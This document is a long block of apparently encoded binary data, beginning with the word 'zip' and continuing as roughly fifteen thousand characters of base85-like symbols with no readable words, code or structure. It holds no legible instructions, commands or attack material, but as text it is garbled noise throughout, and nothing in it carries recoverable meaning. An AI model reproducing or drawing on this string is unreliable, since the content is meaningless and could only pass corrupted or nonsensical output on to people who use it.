zipG&Svbu?EF-_Yo0^l)Q*wpRm>y=HQlwmC+rBSM=j!vuB^y~NO;Gbg4ZoHlA)u`^& zPwnbxw9`t_!-kGewN|_NDt@hB>YlJ}7qS#K{{XNjw{FVW8%J^C7}o6LZsEVH5%>Vs|R+g;+{qYpY_p42>g2K3m>LOHzUC zILOwmTIg(!K07_yzMqNvWYYH@zTMo^pyn8DAcs%vy|JtSlr>3U4)q-^JyaIfP|K4l zNJvSe1leO_}7NR0C6sB@aqW3b*CpauF2(`9Mzu=`x46PDy}h& zm5s;>59HEhbycD@+!=9^iW?WnB*8C6NrNE}W%ZZxQx-dwHj@5-G)i9wxNFBAa%((A zFm4KagnN7OA*`#(sB0!>b<`D-?W-*vA~0EB9!afawIs~5lG4r>h@NLTy{Z_!kI8W3 z{{YaF-^vcyd;;b6HMThB3~QHImcZg}83za(aLcOK!Xycmw+){v>Ka8ywDM*&FN6Ro z1sXVHIjw0B3`NIQ&X`h-10K%ePr98S6Luz`yW2ce&nH94F(@=U6DWcZ$H#G~`4o$5 z8&-`PG6^9tc=LNDoX;_9B%8ar;&awd&ys$MszwuiR$$uGILm*_XD@4B>Z|U&5S7b@U}8uWPcJ#cMPc&9hoN~=*#rxyW)o2x6Lrl0AO}$Sz%}K@#?owygUqs@2Q2UJHyy(%jRQXn0jT4nvoDf&+8d$wT zvSc-kM7D@0ux@lY2=NoStnCp<@T&e+tFnDik%GQ!qE|ggsJ#GIgZ6XyAEzjb;W}DZL?KL5o9u z66U>Y6_Zt!@#~5v4!Q(%kN_b@MU(tPmC8a)al;s7OH$FYf|iq|{MqKg_V_Xlvsle7 zuxV}b*hlf!!^d7Ki%QuejB+u+t0;jnr(^r0Cyl3Y*jF@cC(2|2SxVg_ou^I!+dw40 zx-4D9zk40Yrn|BJOXN=6m`kC@d;m+47@1IH5XBRM=|b#b+()cZiYZ6(o+p{{{&-p< zBf)t_JbaxNo6{S|R&o@(*`weNam^GijmQ+6*)A93(|3;6m%?nD!#4R)vmK z>*{$Wy%xiUPozIsz5O0tj?m@U#k?#0X4Viat7k=rn!v;DojxbSU*rm`<`oinj7 z?X!!_y;+uLRD{TyNnRy%S4M>Ne1{2<(Nv8RJ>6XAH9q|gcjP0EnD?i=U$w{KkuG1) zJ~0NU%yF9``8b+3fe68Q-sME>0+5UwOzwko*R`%yMMRp}U5*wn?tksIng~S3J-|3y zZuhDqM9rN}(yvtNpTm5HyX_HGKEC>T6pcxRCKI={PRU2RUTocWoi(V6<)*%gIT081 zU*M77OY2M=RcR4=D9DTbnydc+s(Jv|@~o>G!LhuLG0gG`OivT1uaRwSXJ;vqVpc)` z+(Su_XR0(o8yNSvj#O(})m8KXT5b2pJ(2EFc>0KN@*GEi&Wf`mVe*Q~iJMxvs?w#_ zNOJ!G8YK|~jCg7h7~+ZSEr)X?BoXvt#Ji9yx;E_>$c<~kZbIs+jE?Aa`s-lZw@^-o zQAY}66XL5$Q!E}*h_I^I^H@eSXMu=|IspcZU`oVn%FrdE$tm`Ts*2VAi~6Vg`sD+k zKnu_U^Z~-6D-?Ybv42!l>WlvA>lhjY%}=Xrijpk#ro6F`jYc64M-}cyr|6wjf2Z32 z0N2wgNp!?`*TCR9#IO z#gi?SZ0QDO$JO?hGd?g8QOuAzk%sBua _$Q(v9#EIoHbXNLOYb=t|{OE@fs;{fO zG^>cZ>f>MB-`ZK3_Lunk;p6s}2QOBY)=2^Ek?_!+#w*UrjAAg4DhsOmcY=81cfb4- zxS8JoI5?zxQ_5C_8u5r{U+3={uk05zJKRsHxQzJr?{J(t2l(ZB2EI33apLM4eoAt0YD+ znn0bZpJ?&96|P18>FN22!*yCAvwnLhapy3x$@4xe<@rAdHXXR^S!o{=t%+%dWG|Z? zV@WNh8$E=rDIOP*jyz_@JCV!Os-Kle<@KFx8N&B^GFynz@wmot6 z-GwA*tn6UWG2#MbsIdlvX`0pqXfe7&$kF$TGlOT6H?YGR8|yD=pLA^AZo|0R`?FT& zm$o)vCY@c#4D2!M;w4$DP%>K%vNVZ5TDbK9O6vJjMjG?RtQp|PmIP~}1z3@p9aZji zJw-&|)21mh$=iIOk7Q_GSO2=tf>iMU1Tz%IviHZ ze3nO0t5!%rXRFFKztnwN((I~UKwDya7xU|nds}ek99w4(d3A-4i6$U-a}bV43Y8tF{7!)RpF4!A_hSS@ym{AqX9kH$glr6s#glN%dRyg;p{dI0XL+Dgtbzzp zn`rQ?PWQ98k=kbx6GBVL&zW1aI$XBr&fwz~=izSB!Z`l`n(7>{TxV4p{&h`KhT9y> zd&2Lmvt9AndRJRoWOP}+#E)wp*4CYSEHT_Fz9P!VtYH;VP*TzxnF=}j zFNRHs4DQwi?_)tG=q)F*jZ!i^D{5w0*2{Lju9rT>=rlOIQo~B<@*W!aj1wU1h zK9xVGq^d;Ijp&U}a1UyZD0_y~L$lgAZEh*MYZxS=*mU)=e;k0&tKJx=DF&-90uky( zh({td{{X}jz-F+`)WNIltQJq~Rm#39+27;yHTgMjt*rwjadTaDUkrBjiPWejSkl=P zhItF+dq`O1J6tzCis3h_No6!8GB<1~lMC7yEe_7YqG?@Mh|Z?Gv8=m_r^Zg`X)!4F^;L2K<(4=TB^>bN4rpc)TzAMb9`KS{u?FTiLrmhX$Bfz@tUiO0 zl=QHrV!L{acjA%p=$R?&Ha;tBJLA*5Z!u*KTO*i|;f_odhV>+rVI)HX$RYUSb~IB} zvtpO(B_D$R@?5syPK?>qnNEPgH_&rA%aUW6({sr3D56MYSfVkG$Z=gN)XJreXdpf3+xw|!Mfn7uqtb#Ut-u!X>X0u%2p#-TIV38 zkFgyxS(?;*v!`T-jI3U*@J3=VEa!1cNFeQ74Gvj*hjFKd_SATe)5<2!*_L(Bx39&j zLeozy29-pz%;GtKjU7meHju<;k?ng%gmYYpv4edZCX%*Ae)0E^+f2YSEWcgqcvzM% zO#y6eY$JBwPJsdL7=bCyH^++^u8{u#3*JGU1dH6PdiF4vUrLu|b6mKU(ab%{x#!IN zpSUqRJD41Zrm3i}v9pBSYamQgs@l2{MAs~5LxUDrhGjf;5zgj0=_%rH+Gy>LO^4IQ zTeD|6+CV|IwC+imnjT}CPZr0vB!Nz~iJ4?GE+N}PGZ^r7vyh@h?r_SCP&{#EsaoeB z@;qLh{XAN_Hcq0Pv@}=zP_51}Tt_(5nol#pEQgQ3D@(c=3e>a4+z$7r!h}g43plM5 zw)|16Rnguv8DG)eR)0+fwoX}VaA1pXp)4?aSnHY3b>=~B7vsXAu&R3{!LE?iG+CZu ztG+pvon$f5T41@oQAjjwhXNncuML%1({#Hr57W6=aB5>?cKC&xGFr;%RZ*dh$CY(7 zF;-yXvLJiVZdMP>+p#vWMm=nnXK0$lm2@IAIcF&nEB4 z&NLY{UgSJ%-MU+GVw-C~RP3ynHN(4+E-qMLM#>CyH*6TS)=FbS3l!)RIm97M83mF2 zNiSH^J0qPtqj;7E_Wt+y_S(`scGVgaYHbc+<8bkM^r#kNu`o#%F{KSoR)8#>OiL7G zVRpVC8!7IP!9{Ci5#?jvywYBL3rw+AhUHHhxkpA^kB&Rc#yTK2V5s(pG??7{v1ztujM`+Cq9patjwdH`O47oY{`0eS#lfES<+9QF;5 zDHpVDMRS+>B6vCs&qs|`}$8_o;X&%4h)Z+tc~7Yd$)0K ziBfaS61vuI^W-i)Tq`RKBNRs%wZS3W6iXWxvGJh26l7J7_bio8&d|Ha&g7JNI+ldX zJ*Go8aqls4$UT0$FFD|riPcn=IMeMQK+Z9_*~UwI(nz3;5TgnJV-WuUE>s{iBr2kO zk-5s$=*RQ8IQjm54yd&y@-ldzystEH0Ak)h4W;tqz#cPbO5x!)R;^ z7Pakj2My`s3pzQ&GAj2fHLDm!x_|p0oA69W7QN){^EjDpk1g~B-a6vYEG`1fj5B=j zVZ*O6L|IeXPKwc!;>s{z719yl3(Ba*HCNL5e*=1moIGjYO7q=BBH70`vgA053osDs}W2(7Ju~ z>b`?ex*~p^f9vQ2ha&V!I@dH`wcxjDw#V>ov^{{TkR86MHAWo7lE zayiTN-^^~kSEtf?%QYhneYkk9v~jG54Zqqvd)QcQq*B$}R879Bu!Cn9%~6sxsP7|~ zQ4z1~aNLTHM=C0Pr>2YeGolM$?2)l#eJyv%hbBA9`EN6BwTobgb%{FodP9 z#U;&GJQfsn(-2Z2x>~&P#ry{TS1P!aTM;ywWirSWbSKHMJ0iyr)P*sf*w!@@tDg5S zL_|-wE54CF)p~lwnCIuo?vu|--e_`DY2E2d>pL22=fKh0xqkzW;~JD-_l>>V;!PU8 z^|PfIE^Nrf5r-bGGu0Y|b6wGnI{VmU#H}U+QF827=6h>#_?F`1rWX^>AdHf&iJDdb z|!K;Bgxqsen#l3QP)nE*o(3ER>MHb6m>IOW@3=Dy{h=J!c#t6v@71g4GhK!SXl&rYo3yDRN8j5OLqzV@p*Z~d(2l>>@wy2*w<28 z#VrN>yd^QS^5a7djTGCit}Sva-W?NC^`t$K8G zTK4|{MNYny!k(V)oNG+W+!p+sP7U5+psnL#dHszncZO3;kl{>=E38QjAeA1p@kF0r z>mn=KRC`*M#1^3HWswBp6st5kj#>EBg%m+4Nr{b2&@x? z#6dg;U_&-3M8|pD@%2QE&6FKzGqW#keRXkNl`ajsc`K}M~%m7qIiN|>WnV)?orr0r~lFy)<$LQ5Mw>6iqS49U^WuW$(-L z>J594>5SVKJs!q`L1Q2Qvu)*Zl&!JwMV{F%oc6Rc7!og%N~_5CaFf5VdaG0qInNdS zwe==_dta=veXGPe2uv1T4>%Nux;ADwV7ZX&P!UNf(%%j{s%DXpiqMKf08qsw~njYoA`3s_|M_Ir$zjy0DV-*^So57hrIMcF|^=LT!emhnZya z?TM?u3l)rbP;rUyW0|eLk3LAd{{Rm;p-HkU;2a+f?HHZ%o{lK9vQkR@-T?~RidhaE z^W__iS#~GKIvbNz=5k`=E;Q@w8oLLLCooW?vC?3*#A9D#o;S8(faL>~k9VOZd+4f? z(qHUpaK1I?m_8YU-j?E%U0m8`wY68ZmbM}JG2t8%CIqu7PFS);W`L!Zr$Ve!JgPPk z7*I947E2nH`$vyrX&i@9+-KEzUPoQ9zrgu0YyzQyEvs!X(BT@$ZMXV_J)`|Z5`F-etdj9eb1?JwolHo_u{hapuoPy&iT%KO2?Ii zl4A4((F!2rB8U~OSGgW=1d`yq3gp^!WpaHLVNr|D#BK1r(^+P@u1!Zep0T*R*s|#H z!l=Rcp?XJhd{)SMw2hL`N=Y(m-u{h1wQ=E#T^gt7z%$VLAEcnz&$#$yRB@|wNQd%n8#NZout zxZFz*@k{owxGlH_3jRy$O}WG?RI(*ZtEnw!Ns9(sTC3u1geJCHBC83|goMGh6RV!y zy%82fYl&oCHN5o4B5-QmnW1*JyxiLMT7Q?i#qI%R4escQtWtr_M!mgyIgaS&uT)e; zPM(}m)I~)^R8&;-0ZlFse%9s_vuel=VR4Hj!^;>CnPZY_r9MRtq7xMmlkDmWjhPA? zIxkX)lD^dwwK^*LSjoQwIMHd&IP(XLJh{Y;n{mT;>;11r4)mTn`KZa%#A}tV6^(h3 zlAxKYog66w8{7QT(^#ltHlMoZw{D%vC1AO4EVW(6e;h)C-_%MzI{i=;|cb!Mq*jEwmg>5!tVO31Y_6#VHEF7xjMQn&M zrH!5azmddy22Q_~>)P(w@SXG?Ef1bQ?~TaZ(=W#H4L8HQ3zZu#)Z>V{-(F?Y%XdK6 z6$Z98mS=>Ou&cX}zBy7{5tp~CT#Z(%sVpu(sfF%~7+X)4w6KRVIN?~zL9~Gx6v)Ra zCvzI)YAewky{M?v>-zLgy*)`QXjybtOWZqm@>iI9pDNn+uIh(I|+wkw|9{0arBfi%ZR@w7^KE`meb7`;f*-x~`WL+F2d0qZATYQ)2ClXDUsFDJ2>#YN5h>kBueK#OV>< z=6PPmR|;{Jdz$6*Wh?KquN+d+=+{aiENm#ZI)a z=S&~VJdhp>j7ZifrWmdzx6KWwVcPhmy_6%fefxAvxy0mO@&5o-6IaB~$2KjF6H$*T zYNX0vBxnT$NOo}#0b~4F(i>wQ3&w;m$TLe6ZX1#?3y9c)a02e&*_h&P-7BhGusa;D7^mf+j)I?sbt%2u~?x?7#`99Ou zCT$hR<#+9EQAc%-J;Ba7hVIN$k_$2&sbJdp%0(Kvu5C<1p;Tl}^69=7``_Mc-5-;$HYJksQ+I2;v=Z&ZVTtRR5wPaR1Zb`^#~n=mNwtq8_b^B))rP7U=Ip0-wtV> z_oGen-si?UynX{Th@L6Xlvx*`1^7lcT;siCjraCchO`rCRIh23c0PE z_+6j)Z4=A!fKJvt!fVt|caWXRioTp*g0ae;(C}1is)=>^HI_w&Qv(>PCRL7GW!2OP zB68S8j8zay5}=WRGhPH%5v3xi$>VsQjcT){qmo%#(pwxz6RNU2%Szu<{G1_{^)o6@ z2Cb7JS7YXj6<|K#078~Ru^vkzmMKamzEpV+M2N3Yh>WQd=Oo`0Z;c44Am{#R%HVvf*8jy@v+#QUj#-R= zKfPtygA%oTt3yG(9s!X#spIaVpygF?Pc(~ro-j^}t$i~Lu41~=`tJf$h= z){P4(*cKS{%PI3~=rgPka*KS(BWdW2kDHS48=x?P}4^9vn`HIFu^TZ4F5h(Y3bFqE39L<{KhBqY1;iyeI;) zX=$EiXwf4x$te|{4~ifx^~gU6-rmmadtlpZET0zHax*=JtN9^}$?;M_#3PgDV)9y^ zRzhLpEP*s+QZXGKOXRqWB9O6M*ZMN9N}pw6ktiziSu=v)v`=SQkJ4jaLMz(A54W`vSZP`wlXV@FZ?knj8GXz(H8#T4 zTf!}@Rza|=s?9JJG>qz^bw>8u}!8cUm=I6wN4|Y zunc!y;Wfakp|6Y)AjRH{AzCIe!v|r@EY4_*>wyx6pcBraqja96x3*l^4d|C)&R2yNo3JLw6#YUClK`tg7i>HoTIf46lPDvE%ZA&qYxau%u^uIy<%QPQ4X<2DZGJh3;Rq zUW@+#UcQ7YP5q5SJ-{%Xr-x)Z^JU@KuE4$KXO2WjWQ@m%lOr0Dn(3IKpd8X%d(b;pml4`K1Kn$1$!-d^@n)b&S7Yd~3{MiFsJf3}Xhg^csT$(e@?Av~FxJ2Pz~5yp(q8uvO(b~BwpvoI zjIX$*_A^VWalKozt|{bVbhzST((sCw&AhddX+E^ho(D9HkU@Ex5m!T+LXE{+NkC~+ z%8pVzO;MLak2^5cve$pn(a_Dua?IkR;Me7qSoQ2*@Y0?L;>9zaaUweqN`ir1EOMZ+ zTYco0M|aEag{`OC!bWebj1e!Gx8nD=sn3TgC0oZ+}jF;-bFWkORrFz`-qR z6oIgD>!nozkf4sv#P5LeIGzR|<+LswfIS|rZFw~7PAF;$3;o}*AI7df?UL!L6Y8A5 z9yf^%5#v%LVP7o~UC{#;rk${H%Q+g1HCEO&NE8QunLG!+H{K!I!KIa=7H80o^hDPDA)rNwN*sdD~}}C$#mas5!+Mk>6qDHVW!q} zbeR6$v&1U$TtcPuI}%isIu60sfwTZzsuGer)u4{>xg60Hef{X^e@!3U)Yr3*jFTJ) zffvUyUm+usP{Zr0lT>rZ9VRsR?uN**?SqVLjh(WxE4<5N;L@gS3F%Gn?`!H{+ecO% z)8fZzL1ZGuSm#C~oKsb=c@S@S-JY7i$o$!1-YIVDA?9~l8x6*2v6_oJ5Xyr$9)ijX z3u)5;^#t^nUm4Oat7aU9?|TpA61+?~-m2k_%+tS>IKLgV)&xsxoo%YJ8A_m8A+x7- z;Zk_o0w;MTx>~)dBtdhZBrGB;T&!N^{W6!5hzp9%Jdx^?agxUkG-2OTxGFJRf= zx0PLNk$aLtjr1zlvKTB1KC+D|D@G^-Gg%o-Rr9!!mTn?O97{Iu4XviVs(8UgVNZkX z-NBMhoE&2upoKT_9G79=5E3K~I?I}Fs=c6+Rqk_#7%X!FF4nMKxhFsFW29E2mLBeW zi{-|g*_L%HviQwIP$SmL*4n;&+>a>95$#aAb&f|<6U82^X7LOytuWYPOOE5naGtDg z!KWHaqH=v8anO5LX<;01)!M%bz_f%K8v+Y0!l^3;f~$mP#u}c`=ZtuvmoXn5jexF< ztW;%_TvPa!(tSUo%-s_lck?(~KJ!rPz}{4XONE*8jf zvB^>AMx05rmRKw+?G>gCgs5&i-|%EcayU#`50Lug$;%x}v_U~Fr?0qa@zzfr?RMMroxyfJm?Ch}h@#V0|DXLU=hTWu|?T|sgvlB%R!Gb0!$icDA~`ISE;rJ%Bz9Hwk|t}~*_LacH% znM0*pK5&cuN0{KaA?>vmg53;^hskEwWZ6AM>d(mJr5}kgivX4GkzY1REsjHwOf0zq zXq+C>wHis=wV+Ye8QxyWkH0H2TYb%ArZEjX2$_f=*xSXMYhcDyxW=0b$_PmnXVwNh zBN9L&uTh`lkW*J-`p`?z~)uruevp!0$|s~S6M)v zJ}|>(C#jmpMgh$r$8%W3DTwAU;-yJ;HT)7~b?-IplaI%vES^~6cD8fjl7HaT)V9{Q zRe&2_@;=I@BtlHC>}X2oq_G89ja70Yefo_%pjFww@W%=teE}kjC00|*yk}Gjq(j#G%|Kb2dp&JbA0Ow)_9%nd$IEz zS6|?@U|BYISC%1x0<=9*6tX0l%@~-9sGZJoC)$5sKoB>|587k)w$ZpoQ!h~NVDj&9 z#$Sz7hG3DUIkvJ~y{uB)7!89ODm$W*N05rvcPkiICu)?&7$aosjir9@|LjNh8s zrpu94%01DW?=oH0mh4k=J*;^#EWum_mT}jdvlbI1v92J(0<~Aj_6%%Cks9i#@h01= z@(KXR>+;hQ_DwB`jMFTq7AROkNEd26!7o;|#d@`@?r}@k#>HzBxl^wDd##pVP?{df zy>+o`K40%{8=F+)$!8ssA2v%Wq}Y^ULVR<@H*$dA9$NTJW-+RWtZM#sR=lNTJ!ID! z2+R)`#4+93MX&R!T;`*2&d(%avuq)OU|31SXIK9K5_==6$PlCiZ}IoF2r zg&coRQ>(pJJL|z%&g83K&m)VUgE7N#4cCZONX2qZr7CS6z!km|MC#{N*Cd9^ZOoAM zbBgAcabYJ%8On>%jUYse>n0@OTT4S7X=RO*KiN2~SnF|3QHNWPHM5CTB(`q6Z=NJx ztsxbrctA$TMv0wRvYL+SBy+oFOI?meUnch2qhMX+S6N1!oNY3-qbkv{lSZ?f!o(d@y77bSiyDn}h(<0^j~=MQ5Qvj) z1lEnOk`}2}ScI`d9mu`RSCma(8=T>{TQ3>=TbG>m=bd zP(UKqw(}r-770_Uks_63KjTJhqmW$(1*pBK;P+})#!F3JjY9*(@!O1}TGMAYcKHmf z%MhOi*~0M&)DfeFKsFf;*U5l`VA?061lFj4)MMH=kzKHgj+gWDUQ)GDMxBvSMwptD zBW@{CcaT`)6?YM12GT^aR#!)s=+8+m3z$JFFg@ldUgtl(3;Yyn3=HCsnIQ|Uq20!J zmczm?*>PJd9>~5WlPznl3rHxpSq)^_z;lQzu{4s|@>odDklBq?dJ$1vH@oh8@-AJ) zS3{D`y{s?bt-J|#T7JPykYa)~SralGtf+Y)JSDnt+g=u@cvsCB(OBObT17q628?hxoQ43d;DRT{YE2<^TL1{>h4I!66Q1k^Vi0DBN6`qjMg#l zm0I?B80VaAG+v75^$U78)TM#=2_@jMP92$II}aG5&F~zj9L?~%NX(g6aZfl?VA)4< zb!lVB6Pz-Qf0LT3i|e24#5P|*93moqojm|^=mB~FUVsvQpKH~9053osbWcD7{`KOw z9(gSSsvhsu*p7WFx=80#*~kZm){ap6qa@ea1z9Q?+K+l6LPj|e?oPcNsJfkWV^&1Q z+x9`k-3rQXi`*G({A+`za?PKz^!5OGsMAtgv$G!^yhw4`j7m0D5GGY<>>!T9eAlQR z{?Wg*1_(nTl%n52^u44jY+Uo)ix#NI_0Tynx;CyVfti#gv|Ng`hQ=!#LG`M(m~zLF z4ohP)Q=?YNwdg`CyO3)Ps7oqGJ8oNOCa~@va{G|A6M>8W2DTM})<0n6KMA|*K!~S7#($W(iyD5lFsZ_df7fvv10 z;dq{{%y`@k+hJlSw8eI7vCBD&2Oz~J*Q<^g^QR+AWa&ebR&T>dL~vgb=+YubkLQz( zyC0W>d(LPqk{-{QuX8=wknI_kwK(292Y|r*TN6n^beItdG_D1M1}XN=b))-C6>xjr z)DYZFQP|cxnFQ;68)L!UaxrRw;drDmYlygoWqV~@S60uL70DtwBljbe&yP-t0BEV< z8o6KOZ(=J5^fefU0JJ*?Q&Gp`Jw`o}>+EuEPD&UG$yL&Dy9nSa$k z`%b5hGPsB|RGkzt5zj;$#E+ww`4f-FM}o&B!fmnKYcQ_`uEV)qyZFt$1ImrX~$BxXZ}7D(j{&18}Y#cN+6-ZaN)=oK|==-50e*12i#@eQYk>D$OKY^^tS zpLpJjk>Ab)*popl1!)>cLT`tmoY!|Cp&=uqqOs(kH+EWqmp1m{(z&KtukqUq;&kG* zmpG->yg(9VZn4FsNHmyO{dtI2vcA+yHIc(H{aoa63SoX|L1kf=!v^fcJirt?TotIQn!+mwZqA+9fL@{l^@(-~G)f6mHlgS-? ziVrC*9FVP>C|kQGUtwvUXKh<@MZ$O)n(C`oATO!%?Du5ifU>R59211OIg40pReQ$A zj7)^UtaTKb$b)Bl8k|_=PiDBM*bn8uzr07guGL$&LF?TGu_xV%!&5EE&6VQUGi8Ze zFW}_O7>?W6?3a5d;mI4M$dGR%3ShO2FH~fu`b3*i+ehA_!bMA#1IG-E!E`R53=lqkjNTSggo-)W)1-v!&A+aekF+(x;z6e#dg%cvriy5SsX$A4%c!a>PXFA9z2Gl&3 z9~c>`z14}-NTa#P>+#HoCH!L9fUtZpCACghU1RZNTEZN03K-`s%E6iT7BB9R43(iM zoMDu6258h9kWbh25j6I-t;#ZdOCHZ5$f^ajkV>B#Tv-bsbddo$8yc=it=KrTtCYoz zGRK$^_}YMXq5OxP7@d8~EdK8%y4TpWUO>p$&@&cY#h}$vzYegM5LYdSVH(bW@=8Nn z%Zp?QQ3Y!AM;utHA&?&t2)c%hThI;j0}l5pI9>Bc8I1ykI{Gq7`w}p&*2|nXuSD+Y z-P7;X3KgdPr0yGTUP|a~SGB3~nU}m?)oFQ^ZB2IDIgmqcih}MZ zdH{fw*Qo}d=xbS6s&t6CH{Q)}7ogpGS8PePzJ+^BpUImruqRfXajUqjnCVbkCbWIc z8)TJ)LL-3L0cc$2k=+!p85I8jxW^>b7~FDwJ}V~w03xr>ak|=iTFaUYZVg@449TP* zs;c16lV(W@SkH!9_DPQ)x44F!MlvwT<9f7ihfTd6sv1Y*_{`mZYZAX1y`X~{DQa!% zEJQn)IcI!^sr#d~BqW!Kiq&+1iHN=AdqLM`^H;I$*udPU+aaXwKCyB09FKMxPC8jeq0KxJMDvovT zQ$d~U=$IY-QEK5>1;o3`;xy(PBZ4xzT8vM#?i|(djHO9W@97bxCKOGsk>s@3Qf~3t z)*8b21l>8tBTJH62^DGqjmC`9x!;G*R<%GgJP<(@2)$LVE6S=NshN#v%Gt(CM3X9U zNua_HmFhrh`#MMwQOhxz1gAa05#mN89#wKovI79;HKgrvj1w_Bt95|0nR(>O9aoZM z5o_>`?UbCuWvv}EYok?A5OIRq^f=1(3sexK4mVe)L7|+_Cy`3lacZpB*w*6GbxvLL6rt&TOH^r)1#}b_jMz6mY7UQC^IAqX)Qcc@Ro>kr0my9H}G?8SGaDw8k;Y zt$CVd_|)ufCSfL4cXwKYol!*`;#hHqI!oBEg!8mL$|fs{f?(La70A_GN=iEgCY7V? z81(rOwIby3?lAdQHCEc@hAKvVin22#g`_zP&d4yb ztm=*q!Ih5}HnFt$rk7D7x?Fyt+Qircj+MX7*e{4?oho5&aN9;u2w6RMzomH z$fT-0hNb}9*b?$QF2iD4VL7B(az{D|Z5>~Y67jA>27QfCh#`bh zll?bRPoRqB9#o&_vGgVjt7-41PLqpdgsy;uMiy}*VUa2$Kcl188K!gR$(7vTx#RKE zuklg-2cw#Zo|f&H?W&)D>@avM?nS#eWp!hjYn}6_Bx^Wz%#)LAnWMXxi`q#TMDECk zg#t-oSe$2TTRjoYJfMFUUt2=CKLSsrL|)ZipM5RAFttJTQSqIFj<(kJ`+ z*9J~G({zR(ee#n*@s5(N?{{pPY&C33*wpom8D`t$G8M?w1!YuL5@ho#xj%;-M0ZZA zsECTbh{e8&IV3`dBfn_Jj~Z~F3lG+kW!g8n6nh^f9vb-%MeR|B0Kq=b%GdR4#%O_a zdMm!$_vw}`OS(0BpAml1zT*yvjv++<1!C82wIXAq+A(9PZ>^~cPbBOjCm9?&8d3k!c-qEhf;8{@0tV+?v0$;ir<6N*-SH>Bd z6pXI$vP-6UNWO)ZGQH7{8!&iI;m!E%mu6MjhYda3G5vpMe|XH#Bb|evA(gW6lf#OP zOKBsYCM;_K$w`21f_NU<;2^-kzEIc%oikHvlQu0m?hle>*heBab~%)6diLo0aEo38 zH>rxVO9JXE+ZGON0*n)*0Me-g1QHsplJyfMNHd!y2k3EHvs|RC*zo@Vblx>>OhP_s zxTR$~J9lMvF&{}yh2EZgYH6|~bf%Aq!e|*Fw*&GGuN=Svba_XR=OaMXb4Q0}tf4!5 z%_y4s!&GN`4&+xH#bxDQKbX{GIDN~(j#4rjo@^$^Bw(IM&f~1O?|+1I2#h3EGDCZP z3LZQYmPLJzHU9CJfJew8mlos+jYXY9sm0tTxWBxZF#tJMD_u5t`)y*6x_FW3tTWsS z#)af_GA!!u96a+?+0@q7V)r>s%w&mwh)N_@%VTGY&g)5V z=Gi5Pp*$f;Y_4vY%<&0w)998sPmrqvB_IJ2A_U6FIv09!rb8bEjb(7e~y{Z>Yx=W|Y#EJJ+yJ@~fONIx3^5>9e3=t9`{V{QeMURq(LR z$sqNt$kNMiVYCySV8vH7vf)h1wh(lt8#Dv5-Y zv1Y{~2qsBTOasJ^m;~p|3)(G?YN?m2Me3b;Dt~4DQ`b3jNy>3*d)U?xZmO%Usb&d9 zHWaw*I3^FL*vKLxvF%@_=;T!T_1EVOU0T)@AopGzkVhWsK_=t@04t1b1x?gZ(c4C-7{Uf_(h%ktQ8zCD&(c=VBJW=DoA573IA zz>f8U8GH=r)loIi?;^eKlWmlBc7uIJ#cH>;y^7w|PM=Os=&AhE`+5Lv^|qPRT5MS` zH72gtn!FcN*4Es3^)!0sS)cFuj;;wHpef}VF4cb9^V|$=6(;4 z9LFIT!U0nPXsu5=;n*HO7@?&H1i+z zj~2^YGChy}G41zN&WRZS-#{S0#!ovL&$a$l9t>F-Hn@hzEsj4BLwkep>mB4L;r)k< z&hxmwGd#r`o+FJtGJ=-hWK_14M$aeX#t+5|oWL2h64l*fHm$hIh*;As{w%P@P}akj z3PBa2lvk1qiZcPIDAENH&I#-huS!dzl<#DFQeija*~c8)hf!@Qc_U}#`0Ue4lp9jW zntvM!<0_N5azi<;0hhfD=DcW#e?^$X&X13o7D0(-TM?JBF!?yk3Q2PA{7@s|VPsS& zP}V5H#b})!#tQ_c6O_HZsr*(6%#na+yf+H$`YewkLji}ll?DP4f62~{DynI5-!@oD z(NxDJyI7L6Pb z!-H!Ej6KtA9N~ecQuag(9PuDz5v^2nHf-rOq8KuCu`stcG0k&oeF?E*)YW6~O>aH2 z?`1-Uu0}?WSqw)T4%hsNEQ}K#S{$7^^%8j9L&*h`>NV1XrK#cWhlIb!vb+^D^-RLZTQ@lvi!z}Zo;+eUVuqXt1DUADoC zWnX7-8sf5W@Z>C5;(c@yxqJi&gC;Ueca5$JIK&#isTz?&$)0*Btg)ZRt&c{zMnQs5 zUP!2-Y>3E7w-$p0V!CP-sQC5q21Q`lX+2geL??7Bx}!wR-S4rSCKa*q%xsvPOpsOk zO}izHyp0lbBt@VI5?pxl%3%2vBY7jsK(ALcKnf9vHum>z7~jC>+%Wk6u z`vyL~p*VF#xvp!EO;J^k zUD(mbbW7~I?<|GzDCTS+L8rw;SfgpNTUv`czZpETI*1>`XL}sg=!&ib`i<^aPB6Aj zMO}D2?#6BN+e>E(w>GcTGXQD#nG@Kur9Ur)kH|aYnI1y1tWtT1=BgQ0TxCZ;^jXtV zX>|VpOp`Qw}79Q6bS}MvFE|5rtse z5gK-R%%f6x%Io8Vzqy;14lP%Z-=ABWZu_{)h1uV1@zMo`$e>;3nJuik88Rc4j)GeF zk|Hc$7!BGo3@Z%7ltp3GVDKYNS|>R*9hn{;&g72<_x``ynm;g?t8z2G%4DNt(K0a5 zel{?_vsuiO(9-JqMwjPBZVdnN97_bs_I2H*;A@D(cG+eri!uQjVJuS z*n^F;$i771-&)^g`G&xakWXx;Sw^a4>@HqPMk*=-Q9Iq5-9&S`JFLkOgw;YhtQ$wu z(odrCaK69z4K=$lCjW8tMyReX{KDDWg6&BAFM#`&gN`5vE` zg6rIgyqnlUDW^!bSM1Vj`FZ8e=H&!fnGB78S4u5wMQd}=_I4HvAQPF5H#e)(Eke`5OfM>aUZe2UWdAE0d($)JH1(Fboz4~>gJM3Q7ly3EX9v|Wbii|tUX|O$*%Gjow1U2 zhDY*mEbZSNu55GISkEb?O^_xKgB*zjAx1YV8suvB`iC}MMH{_80k}Uz>~NKwL*r;m zOucEG{4xPnqwlJGUm)G#`&D1b)9rfxzO$1yk(;mKKMkrH22=4bjCBngdl->*{Xn}@ zqM{;nkM;DbofG*lt>*qr;)hbxP-^Rqb!Vw3YwR`J(p*=$@T%F(ep^lExm+uH&A^?)xx3(x?$$$l4cmzUJFwETh8nAUkBzw=bv zDn2c}8@l&*L9zm}On=OXs@6Ri?up#jC)ce~YiL zEGt&>n-R+~eUFD)+~PIzF6`jWn|qGKo>5cJF=4sF@;(Q|W4|+;=LODks=wDfn!Oc= zO348r+EzGkPOV==WYe^4qkWA2_0T$plRAGs(0k_urP>;QD6f5G?H!6g#W)J6`x*`!y zCn`C!nm08S7@oN$I@szBmI>mwBsfoD$L=J_<9=O+<2qYnMSXs#taNwOpCD{-9OevY 